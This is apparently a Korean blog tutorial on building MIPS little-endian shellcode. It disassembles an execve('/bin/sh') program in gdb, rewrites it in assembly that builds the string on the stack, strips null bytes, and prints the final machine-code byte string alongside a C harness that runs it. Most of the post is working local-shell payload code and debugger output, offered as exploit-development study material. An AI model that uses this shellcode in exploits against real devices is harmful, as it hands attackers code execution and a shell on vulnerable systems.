본문 바로가기

Exploit

[MIPS] Shellcode

SMALL


mips 환경에 맞는 shellcode를 만들어보려고 한다.


먼저 어셈블리어로 간단한 write(1,"Hello, World!\n",14)를 만들어본다.


root@debian-mipsel:/home/user# cat hello.s


#Hello, World!

.data #DATA SECTION

## printing string

out_string: .asciiz "Hello, World!\n"


.text #text section start

.global main #main export

main: #main label

li $2, 4004 #syscall number write

li $6, 14 #len

la $5, out_string #buf addr

li $4, 1 #stdout

syscall #syscall


li $2, 1 #syscall number exit

syscall


hello world를 출력하는 어셈블리어이다. 주석을 보면 편하게 확인할 수 있다.

여기서 syscall number를 찾는 경우에는 http://syscalls.kernelgrok.com 여기에 가보면 원하는 함수를 검색할 수 있다.


위와같은 어셈블리 파일을 컴파일 한다.


root@debian-mipsel:/home/user# gcc -o hello.o hello.s

root@debian-mipsel:/home/user# ./hello.o

Hello, World!


옳바르게 작동한다.


(gdb) disas main

Dump of assembler code for function main:

   0x004005c0 <+0>: li v0,4004

   0x004005c4 <+4>: li a2,14

   0x004005c8 <+8>: lui a1,0x41

   0x004005cc <+12>: addiu a1,a1,1936

   0x004005d0 <+16>: li a0,1

   0x004005d4 <+20>: syscall

   0x004005d8 <+24>: li v0,1

   0x004005dc <+28>: syscall

Reading symbols from /home/user/shell...(no debugging symbols found)...done.



gdb로 확인한 부분이다.

이제 execve("/bin/sh")를 해보자.

#include "stdio.h"

int main()
{
char *argv[] = {"/bin/sh",NULL};
execve("/bin/sh",argv, NULL);
}



(gdb) disas main

Dump of assembler code for function main:


...(생략)

   0x00400650 <+16>: lui v0,0x40               // v0 = 0x40 <<16

   0x00400654 <+20>: addiu v0,v0,2096   // v0 = 0x400000+2096  --> /bin/sh 문자열

   0x00400658 <+24>: sw v0,24(s8)             // *[ s8[sp] + 24 ] = v0

   0x0040065c <+28>: sw zero,28(s8)          // *[ s8[sp] + 28 ] = 0

   0x00400660 <+32>: lui v0,0x40

   0x00400664 <+36>: addiu a0,v0,2096    // 첫번째 인자로 /bin/sh 문자열 주소 넣음

   0x00400668 <+40>: addiu v0,s8,24        // v0 = s8+24 --> 즉 스택의 주소 넣음.

   0x0040066c <+44>: move a1,v0                    // 두번째 인자로 스택의 주소

   0x00400670 <+48>: move a2,zero                //  세번째 인자로 0

   0x00400674 <+52>: jal 0x400500 <execve@plt>


//문자열을 확인하는 부분임

(gdb) x/10xb 0x400000+2096

0x400830: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00


0x2f = '/'   

0x62 = 'b'

0x69 = 'i'

0x6e = 'n'

0x2f = '/'

0x73 = 's'

0x68 = h


대략적으로 돌아가는 과정을 알았다. 이제  어셈블리어를 통해서 문자열을 스택에 구성한다.

그리고 구성한 스택의 주소를 execve 인자로 넣어주고 syscall을 하려고 한다.


.global main #main export


main: #main label

add $29, $29, -32 #stack 할당

li $8, 0x6e69622f         #"/bin"

li $9, 0x0068732f         #"/sh\x00"

sw $8, -32($29)         #stack -32 = /bin

sw $9, -28($29)         #stack -28 = /sh\x00

li $9, 0x00                  #null 값

sw $9, -16($29) # sp-16 = 0  [&("/bin/sh"), NULL]-> NULL Setting

sw $9,  -24($29)         # sp-24 = 0  [필요 없음... 처음 만들때 착각]

add $10, $29, -20 # sp-20 

add $11, $29, -32 # sp-32 = "/bin/sh\x00"

sw $11, ($10)              # [sp-20] = sp-32      

move $4, $11 #argv0 = sp-32

move $5, $10 #argv1 = sp-20--> [sp-20] = /bin/sh 주소 [sp-26] = NULL

move $6, $0 #argv2 = 0  

li $2, 4011

syscall


위와 같이 구성해주면.. 비록 널값이 많은... shellcode 만드는 전 과정에 도착.


$gcc -o shell.o shell.s [obj 생성]

$./shell.o 하면 쉘이 뜬다.


이렇게 해주면 shellcode 전 단계에 도달하게 된다.


그리고 gdb를 이용해서 기계어를 추출한다.


$gdb shell.o

$gdb x/100xb main


과 같이 하면 shellcode 전 단계를 가져 올수 있다.


char* shellcode 

="\xe0\xff\xbd\x23\x69\x6e\x08\x3c\x2f\x62\x08\x35\x68\x00\x09\x3c\x2f\x73\x29\x35\xe0\xff\xa8\xaf\xe4\xff\xa9\xaf\x00\x00\x09\x24\xf0\xff\xa9\xaf\xe8\xff\xa9\xaf\xec\xff\xaa\x23\xe0\xff\xab\x23\x00\x00\x4b\xad\x21\x20\x60\x01\x21\x28\x40\x01\x21\x30\x00\x00\xab\x0f\x02\x24\x0c\x00\x00\x00\x25\x08\x20\x00\x25\x08\x20\x00";

     

이제 NULL 값과 바이트 수를 좀 줄이는 작업이 필요하다.

NULL 값을 대신할 수 있게 xor reg, reg를 이용하거나 <<,>> 연산을 잘 이용하여서 만들면 된다.



        add $29, $29, -32       #stack allocation

        li $8, 0x6e69622f

        li $9, 0x2268732f       #/sh\x22 

        sw $8, -32($29)         

        sw $9, -28($29)         

        xor $25,$25              #NULL 대신에 $25 reg 사용

        sb $25, -25($29)        #/sh\x22 -->/sh\x00

        sw $25, -16($29)        #NULL -> $25

        add $10, $29, -16       

        add $11, $29, -32       

        sw $11, -4($10)

        move $4, $11            

        move $5, $10            

        move $6, $25            

        li $2, 4011

        syscall



좀 더 최적화 시킬수 있겠지만... 이렇게 NULL 값을 제거하는 방식으로 만든다.


   0x004005c0 <+0>: addi sp,sp,-32

   0x004005c4 <+4>: lui t0,0x6e69

   0x004005c8 <+8>: ori t0,t0,0x622f

   0x004005cc <+12>: lui t1,0x2268

   0x004005d0 <+16>: ori t1,t1,0x732f

   0x004005d4 <+20>: sw t0,-32(sp)

   0x004005d8 <+24>: sw t1,-28(sp)

   0x004005dc <+28>: xor t9,t9,t9

   0x004005e0 <+32>: sb t9,-25(sp)

   0x004005e4 <+36>: sw t9,-16(sp)

   0x004005e8 <+40>: addi t2,sp,-16

   0x004005ec <+44>: addi t3,sp,-32

   0x004005f0 <+48>: sw t3,-4(t2)

   0x004005f4 <+52>: move a0,t3

   0x004005f8 <+56>: move a1,t2

   0x004005fc <+60>: move a2,t9

   0x00400600 <+64>: li v0,4011

   0x00400604 <+68>: syscall


gdb로 확인하면 위와 같고 기계어를 가지고와서 실행시켜보면 된다.

0x4005c0 <main>: 0xe0 0xff 0xbd 0x23 0x69 0x6e 0x08 0x3c

0x4005c8 <main+8>: 0x2f 0x62 0x08 0x35 0x68 0x22 0x09 0x3c

0x4005d0 <main+16>: 0x2f 0x73 0x29 0x35 0xe0 0xff 0xa8 0xaf

0x4005d8 <main+24>: 0xe4 0xff 0xa9 0xaf 0x26 0xc8 0x39 0x03

0x4005e0 <main+32>: 0xe7 0xff 0xb9 0xa3 0xf0 0xff 0xb9 0xaf

0x4005e8 <main+40>: 0xf0 0xff 0xaa 0x23 0xe0 0xff 0xab 0x23

0x4005f0 <main+48>: 0xfc 0xff 0x4b 0xad 0x21 0x20 0x60 0x01

0x4005f8 <main+56>: 0x21 0x28 0x40 0x01 0x21 0x30 0x20 0x03

0x400600 <main+64>: 0xab 0x0f 0x02 0x24 0x0c 0x00 0x00 0x00


마지막 main+64 부분에 보면 null값이 있는데 syscall 부분이여서 \x0c\x01\x01\x01로 해도 된다.



int main()
{
char* shellcode = "\xe0\xff\xbd\x23\x69\x6e\x08\x3c\x2f\x62\x08\x35\x68\x11\x09\x3c\x2f\x73\x29\x35\xe0\xff\xa8\xaf\xe4\xff\xa9\xaf\x26\xc8\x39\x03\xe7\xff\xb9\xa3\xf0\xff\xb9\xaf\xe8\xff\xb9\xaf\xf0\xff\xaa\x23\xe0\xff\xab\x23\xfc\xff\x4b\xad\x21\x20\x60\x01\x21\x28\x40\x01\x21\x30\x20\x03\xab\x0f\x02\x24\x0c\x01\x01\x01";

void (*shell)(void);

shell = (void*)shellcode;

shell();
return 0;
}

와같이 프로그램을 만들고 돌려보면..

$gcc -o shell main.c

$user@debian-mipsel:~$ ./shell


결과물 


\xe0\xff\xbd\x23\x69\x6e\x08\x3c\x2f\x62\x08\x35\x68\x22\x09\x3c\x2f\x73\x29\x35\xe0\xff\xa8\xaf\xe4\xff\xa9\xaf\x26\xc8\x39\x03\xe7\xff\xb9\xa3\xf0\xff\xb9\xaf\xf0\xff\xaa\x23\xe0\xff\xab\x23\xfc\xff\x4b\xad\x21\x20\x60\x01\x21\x28\x40\x01\x21\x30\x20\x03\xab\x0f\x02\x24\x0c\x00\x00\x00

ps :

- Little endian  > 데이터의 낮은 자리 값이 메모리의 낮은 주소 부분에 위치한다.   > Host byte order

- Big endian  > 데이터의 높은 자리 값이 메모리의 낮은 주소 부분에 위치한다.   > Network byte order 

li $8, 0x6e69622f         #"/bin"

li $9, 0x0068732f         #"/sh\x00"

 여기서 little endian이기 때문에 2f가 낮은 주소, 6e가 높은 주소에 배치된다. 

 데이터 0x6e69622f 에서 낮은 위치에 있는 값 0x2f 그렇기 때문에 낮은 주소로 배치.



LIST

'Exploit' 카테고리의 다른 글

Command Injection Sheet  (0) 2017.06.15
REVERSE SHELLCODE  (0) 2017.06.10
MIPS BOF  (0) 2017.03.30
ARM Chain RTL  (0) 2016.12.29
ARM RTL[Ret2ZP]  (0) 2016.12.21